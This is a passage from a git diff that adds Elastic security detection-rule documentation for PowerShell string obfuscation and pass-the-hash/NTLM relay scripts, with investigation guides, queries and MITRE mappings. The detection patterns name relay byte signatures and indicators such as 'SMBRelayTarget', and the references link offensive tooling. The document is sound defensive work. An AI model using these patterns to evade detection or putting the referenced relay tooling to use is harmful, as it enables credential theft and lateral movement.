keep launch context unresolved. Without endpoint process telemetry, bound downstream checks to `host.id`, `user.id` or `user.name`, and the alert window; missing launch telemetry is unresolved, not benign. + - Implication: escalate when PowerShell starts from Office, a browser, an archive extractor, a LOLBin, a remote context, or a service context with encoded or fileless delivery; lower suspicion when the launch chain and command line match the same recognized automation workflow. +- Did the recovered process or host-window activity retrieve, stage, or execute follow-on content? + - Focus: child process starts from the PowerShell PID and file, network, or DNS events for the same PID. !{investigate{"description":"","label":"Child process activity from the PowerShell instance","providers":[[{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"File, network, and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if PID recovery failed in the prior step, scope follow-on review manually with `host.id`, `user.id`, and a tight alert window; that fallback is broader, so prioritize timestamps and script-linked paths or destinations. Missing file or network telemetry is unresolved, not benign. + - Implication: escalate when scoped activity spawns shells, writes scripts or binaries, reaches rare destinations, or stages persistence; lower suspicion when telemetry shows no effects outside the same recognized script workflow. +- If local findings remain suspicious or unresolved, is this part of broader obfuscated PowerShell activity? + - Focus: related alerts for `user.id` in the last 48 hours to test whether this obfuscation follows the actor. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is sparse or shared, pivot to `host.id` related alerts in the last 48 hours to test whether obfuscated PowerShell, encoded command, download, or persistence alerts stay localized to the asset. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same user or host shows repeated obfuscated PowerShell or adjacent suspicious behavior; keep scope local when the alert is isolated and local evidence resolves to one recognized workflow. +- Based on script reconstruction, string use, origin, launch context, effects, and broader scope, what disposition is supported? + - Escalate on string use supporting hidden execution, download, payload handling, persistence, or unresolved high-risk fragments. Close only when reconstruction, origin, launch/effects if available, and related-alert scope bind the alert to one exact recognized workflow; with mixed or incomplete evidence, preserve artifacts and escalate. + + +*False positive analysis* + + +- Internal templating, packaging, or configuration-generation scripts may concatenate many string literals to build arguments, paths, or output text. Confirm recovered `powershell.file.script_block_text`, reconstructed string family, `file.path`, `user.id` plus `host.id` scope, and any launch context align with one recognized repository, build, deployment, or administrative workflow. Without repository or change context, do not rely on recurrence alone; close only when local telemetry proves the exact benign workflow. +- Compatibility wrappers or vendor-protected administrative scripts may fragment helper names, module paths, or destination strings at runtime. Confirm reconstructed strings map to recognized internal domains, script paths, module functions, or vendor helpers and side effects stay inside that workflow. Without vendor notes or admin records, do not rely on recurrence alone; close only when local telemetry proves the exact helper workflow. +- Before creating an exception, anchor it on stable `file.path`, reconstructed string family, `host.id` or `user.id`, and recovered launch context when available. Avoid exceptions on alert-local `Esql.script_block_pattern_count`, `Esql.script_block_length`, `Esql.script_block_tmp`, `user.name`, or `powershell.file.script_block_text` alone. + + +*Response and remediation* + + +- If confirmed benign, record the evidence that proved the workflow: reconstructed strings, recovered `file.path`, user-host scope, launch context when available, and lack of contradictory side effects. Then reverse temporary containment. Create an exception only when that evidence pattern is narrow enough to avoid suppressing lookalike obfuscation; recurrence strengthens the case but is not required when local proof is complete. +- If suspicious but unconfirmed, preserve the alert record, source 4104 events, full `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, reconstructed strings, `file.path`, `host.id`, `user.id`, and any recovered process, file, DNS, or destination artifacts before containment or cleanup. +- If suspicious but unconfirmed, apply reversible containment tied to the findings, such as heightened monitoring, outbound restrictions, or temporary PowerShell controls on the affected host or account. Escalate to host isolation only when launch context or follow-on activity indicates likely payload execution or spread. +- If confirmed malicious, record recovered process identifiers, command lines, parent context, script fragments, reconstructed strings, staged files, and destination indicators before isolation, process termination, or suspension. Then isolate the endpoint when host role allows and restrict the affected account if identity misuse is evident. +- Review related hosts and users for the same reconstructed string family, `file.path`, origin pattern, and destination indicators before removing artifacts so scoping completes before evidence is destroyed. +- Remove only the unauthorized scripts, dropped payloads, and persistence artifacts identified during the investigation, then remediate the delivery path or administrative-control gap that allowed the obfuscated PowerShell execution. +- Post-incident hardening: retain Script Block Logging and endpoint telemetry that enabled reconstruction, restrict PowerShell where it is not required, and record any telemetry gaps that limited reconstruction or containment. + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """['"][A-Za-z0-9.]+['"](\s?\+\s?['"][A-Za-z0-9.,\-\s]+['"]){2,}""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id, + process.pid + +// Filter for scripts that match the pattern at least twice +| where Esql.script_block_pattern_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-reordering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-reordering.asciidoc new file mode 100644 index 0000000000..5962b138ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-reordering.asciidoc @@ -0,0 +1,245 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-reordering]] +=== Potential PowerShell Obfuscation via String Reordering + +Detects PowerShell scripts that uses format placeholders like "{0}{1}" with the -f operator or ::Format to reorder strings at runtime. Attackers use format-based reconstruction to hide commands or payload strings and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via String Reordering* + + +This alert indicates a PowerShell script block used indexed format placeholders (for example, "{0}{1}") with runtime formatting (for example, the `-f` operator or `::Format`) to reorder and reconstruct strings. This technique can hide meaningful strings (commands, URLs, artifact names) from straightforward text inspection and can be used as part of staged execution. + +Because the detection requires repeated occurrences of these patterns in a larger script block, triage should focus on (1) execution context (host and user), (2) script origin (file-backed vs. in-memory/interactive), and (3) what strings are being reconstructed and what actions they enable. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm the execution context and initial scope: + - Identify the affected endpoint using `host.name` and `host.id`. Check for other security alerts or suspicious activity on the same host around the alert time. + - Identify the account context using `user.name`, `user.domain`, and `user.id`. Prioritize alerts where the user is unexpected for the host role or where the user does not typically run PowerShell. + - If `file.path` / `file.directory` / `file.name` are present, capture the script location and assess whether the path and filename are expected for that host and user. If file fields are missing, treat the activity as potentially interactive or in-memory and increase emphasis on correlated telemetry. + +- Review the script block content and determine what is being reconstructed: + - Start with `Esql.script_block_tmp` to quickly locate where formatting patterns occur, then use `powershell.file.script_block_text` as the authoritative source for analysis and evidence. + - Identify how formatting is used: + - Placeholder-only or placeholder-heavy format strings that primarily consist of `{n}` tokens. + - Out-of-order placeholder indexes (for example, `{3}{0}{2}{1}`) and repeated reordering blocks. + - Multiple reconstruction stages where formatted output is subsequently reformatted or concatenated. + - Reconstruct key strings by mapping placeholder indexes to the arguments/fragments used in each formatting operation. Record any reconstructed strings that indicate follow-on behavior (remote addresses, filenames, persistence identifiers, or execution flow). + +- Use the available scoring and statistics fields to guide prioritization: + - Review `Esql.script_block_pattern_count` to understand how heavily the script relies on formatting-based reconstruction. Higher counts generally increase suspicion. + - Review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_length` to differentiate structured, readable scripts from highly variable or packed content. + - Treat these values as supporting signals; base the decision primarily on reconstructed strings and correlated activity. + +- Reconstruct full script content when split across multiple events: + - Pivot on `powershell.file.script_block_id` to gather all fragments for the same script block. + - Order fragments using `powershell.sequence` and confirm completeness using `powershell.total` before drawing conclusions. + +- Correlate and validate impact using adjacent telemetry available in your environment: + - Review other PowerShell script blocks from the same `host.id` and `user.id` to identify staging, deobfuscation, or follow-on execution. + - Correlate with endpoint telemetry for the same host and timeframe to understand how PowerShell was started and what occurred next (process ancestry, network activity, file/registry changes, and authentication activity). Use reconstructed strings to focus this correlation. + +- Expand the hunt to assess prevalence: + - Search for the same or similar content in `powershell.file.script_block_text` (shared fragments, repeated placeholder patterns) across other hosts. + - Use `Esql.script_block_pattern_count` and the script block statistics fields to identify other high-similarity or high-complexity scripts that may represent the same technique. + + +*False positive analysis* + + +- Legitimate automation can use indexed placeholders to build dynamic output, reports, or templated configuration content. Benign usage is more likely when the resulting strings are human-readable and the script has an expected on-disk origin (`file.path` / `file.name`) and consistent execution over time. +- Some internally developed frameworks generate PowerShell dynamically and may include repeated formatting patterns. Validate ownership of the script source and whether execution by the identified `user.id` on the identified `host.id` is expected. +- Localization or templating logic may use indexed placeholders. This is typically associated with readable templates and stable execution patterns rather than multi-stage reconstruction of operational strings. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected endpoint identified by `host.name` / `host.id` to prevent further execution and limit lateral movement. + - Preserve evidence, including `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and the alert enrichment fields (`Esql.script_block_tmp`, `Esql.script_block_pattern_count`, and script block statistics). + - Use reconstructed strings to drive scoping and impact assessment (look for related activity on the same host, and search for the same indicators across other hosts and users). + +- Eradication and recovery: + - Identify the execution mechanism and remove it (for example, an unexpected script file, a startup trigger, or other persistence identified during correlation). + - Remove or quarantine related artifacts discovered during analysis and validate that similar activity is not occurring on other endpoints. + +- If the activity is determined to be benign: + - Document the expected script source (`file.path` / `file.name`), the responsible team, and the expected execution context (`host.id`, `user.id`) to support faster triage of future alerts. + - Monitor for deviations from the established baseline (new hosts, new users, or materially different reconstructed strings). + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*{0}*" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """((\{\d+\}){2,}["']\s?-f|::Format[^\{]+(\{\d+\}){2,})""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.directory, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least five times +| where Esql.script_block_pattern_count >= 5 + +// Exclude Noisy Patterns + +// Icinga Framework +| where not file.directory == "C:\\Program Files\\WindowsPowerShell\\Modules\\icinga-powershell-framework\\cache" + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory IS NULL + +| where not (powershell.file.script_block_text LIKE "*GitBranchStatus*" AND + powershell.file.script_block_text LIKE "*$s.BranchBehindStatusSymbol.Text*") +| where not + // https://wtfbins.wtf/17 + ( + (powershell.file.script_block_text like "*sentinelbreakpoints*" or + powershell.file.script_block_text like "*:::::\\\\windows\\\\sentinel*") + and + (powershell.file.script_block_text like "*$local:Bypassed*" or + powershell.file.script_block_text like "*origPSExecutionPolicyPreference*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-pass-the-hash-relay-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-pass-the-hash-relay-script.asciidoc new file mode 100644 index 0000000000..79158aace1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-pass-the-hash-relay-script.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-potential-powershell-pass-the-hash-relay-script]] +=== Potential PowerShell Pass-the-Hash/Relay Script + +Detects PowerShell scripts associated with NTLM relay or pass-the-hash tooling and SMB/NTLM negotiation artifacts. Attackers use relay and PtH techniques to authenticate without passwords and pivot to other systems. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1 +* https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 +* https://github.com/dafthack/Check-LocalAdminHash/blob/master/Check-LocalAdminHash.ps1 +* https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-Tater.ps1 +* https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell Pass-the-Hash/Relay Script* + + + +*Possible investigation steps* + + +- Does the visible script content implement relay-listener behavior, pass-the-hash execution, target validation, or more than one? + - Focus: `powershell.file.script_block_text` and any file-backed `file.path`. + - Implication: escalate when the fragment builds NTLMSSP/SMB messages, starts HTTP/SMB/proxy listeners, forwards authentication, references WMI/SMB/WinRM helpers, or pairs byte arrays with target selection; lower suspicion only for parser or lab text with no targeting, listener, credential, or execution logic. + +- Does full script reconstruction reveal target lists, credential material, service names, or listener settings the matching fragment did not show? + - Why: script block logging often splits relay mode, target configuration, and execution helpers into separate fragments. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and reconstructed `powershell.file.script_block_text` on `host.id`; reassemble by `powershell.sequence` and treat missing fragments as unresolved. !{investigate{"description":"","label":"All PowerShell 4104 fragments for this script on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4104","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate on remote targets, password hashes, "TargetList", "SMBRelayTarget", "wpad.dat", "WPAD", listener ports, service names, execution helpers, or fan-out logic; lower suspicion only for research or validation code with no credential material, targets, listener, or execution path. + +- Which recovered PowerShell process explains launch context and downstream pivots? + - Focus: If endpoint process telemetry exists, recover the matching process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`; if absent, keep launch context unresolved. Record `process.command_line`, `process.parent.executable`, `process.Ext.session_info.logon_type`, `process.Ext.authentication_id`, and `process.entity_id`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the recovered launch shows encoded commands, remote-administration launchers, Office or browser parents, elevated context, or service/network logon sessions that do not fit the user; do not infer legitimacy from `process.pid` alone. + +- Do authentication events show local operator context or relay/PtH follow-on? + - Focus: same-`host.id`/`user.id` Windows Security events for `event.code` 4624, 4625, or 4648; review `source.ip`, `winlog.event_data.AuthenticationPackageName`, and `winlog.logon.type`. !{investigate{"description":"","label":"Windows Security authentication events for the user","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: bridge recovered `process.Ext.authentication_id` to `winlog.event_data.TargetLogonId` only for the local session; prove relay/PtH with same-host inbound NTLM without `user.id`, target-host 4624/4625, or DC-side 4776 for reconstructed targets or sources. + - Implication: escalate when local, target-host, or DC authentication shows unexpected type 3 NTLM, repeated failures, privileged sessions, or explicit-credential use tied to reconstructed targets; missing authentication telemetry is unresolved, not benign. + +- Do network events show outbound relay or hash-validation activity to targets named in the script? + - Why: relay code often resolves targets, then reaches SMB, RPC, WinRM, or HTTP destinations; listener-only capture may not. + - Focus: If endpoint network telemetry exists, scope same-host events to `host.id`, `process.pid`, and the alert window, or use reconstructed targets when process identity is unavailable; separate DNS (`dns.question.name`, `dns.resolved_ip`) from connections (`destination.ip`, `destination.port`). !{investigate{"description":"","label":"Network events for the PowerShell process","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the host fans out to named targets or reaches SMB, RPC, WinRM, or relay ports (80, 443, 445) outside the declared test scope; listener scripts stay suspicious with little outbound traffic when reconstruction shows "SMBRelayTarget", "wpad.dat", or similar relay-ready settings. Missing network telemetry is unresolved, not benign. + +- If local evidence remains suspicious or incomplete, do related alerts widen the user or host scope? + - Focus: related alerts for `user.id`; if quiet, compare `host.id` for adjacent relay, pass-the-hash, remote-service, persistence, or post-compromise alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when local evidence stays suspicious or unresolved and related alerts show connected relay, listener-only capture, hash-validation fan-out, or lateral-movement behavior; keep local when surrounding alerts are absent or confined to the same declared test scope. + +- Weigh script intent, reconstruction, launch context, authentication follow-on, network contact, and related-alert scope: escalate when they align on unauthorized relay or pass-the-hash activity; close only when reconstructed content, launch, source, and available auth or network evidence support one controlled workflow with no contradictions; preserve and escalate if evidence is mixed or incomplete. + + +*False positive analysis* + + +- Controlled testing, incident-response, or protocol-research workflows can trigger this rule when reconstructed `powershell.file.script_block_text` names only recognized targets or stays limited to parser/validation routines, recovered launch context matches the operator workflow, and authentication or network telemetry shows no live relay, listener, or execution outside scope. If engagement or change records exist, require alignment; otherwise, confirm recurring `user.id`, `host.id`, source pattern, recovered launch pattern, and target or port pattern across prior alerts from this rule. Do not close if hashes, listener ports, or follow-on authentication diverge. +- Before creating an exception, validate recurring `user.id`, `host.id`, recovered launch pattern, source pattern, and target set across prior alerts. Build the exception from that minimum workflow. Avoid exceptions on byte sequences alone, `user.name` alone, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the script content, recovered launch chain, source path pattern, target set, and session origin or logon-type pattern that proved the lab, response, or troubleshooting workflow. Create an exception only if the same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, fragment ordering metadata, recovered process and parent details, named targets, listener ports, service names, UNC paths, and related authentication or network evidence before destructive actions. +- Apply reversible containment first, such as host isolation if tolerable or temporary controls on exposed accounts and named targets. Avoid terminating processes or deleting artifacts until possible credential misuse and lateral movement scope is clearer. +- If confirmed malicious, isolate the endpoint when possible; otherwise escalate with the recorded `host.id`, recovered process identifiers, source IP values, named targets, and authentication evidence. Rotate or invalidate impacted credentials, review named systems for successful SMB/WMI/WinRM/service activity, restrict exposed NTLM pathways where supported, then remove only the scripts, services, scheduled tasks, persistence, or staging artifacts found during the investigation. +- Retain PowerShell Script Block Logging plus supporting endpoint, authentication, and network telemetry. Document adjacent variants such as listener-only capture, hash-validation fan-out, or non-PowerShell relay/pass-the-hash alerts for detection follow-up. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ("NTLMSSPNegotiate" and ("NegotiateSMB" or "NegotiateSMB2")) or + "4E544C4D53535000" or + "0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50" or + "0x4e,0x54,0x20,0x4c,0x4d" or + "0x53,0x4d,0x42,0x20,0x32" or + "0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38" + ) and + not file.directory : "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Downloads" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc new file mode 100644 index 0000000000..1cf791455a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-localhost-secure-copy]] +=== Potential Privacy Control Bypass via Localhost 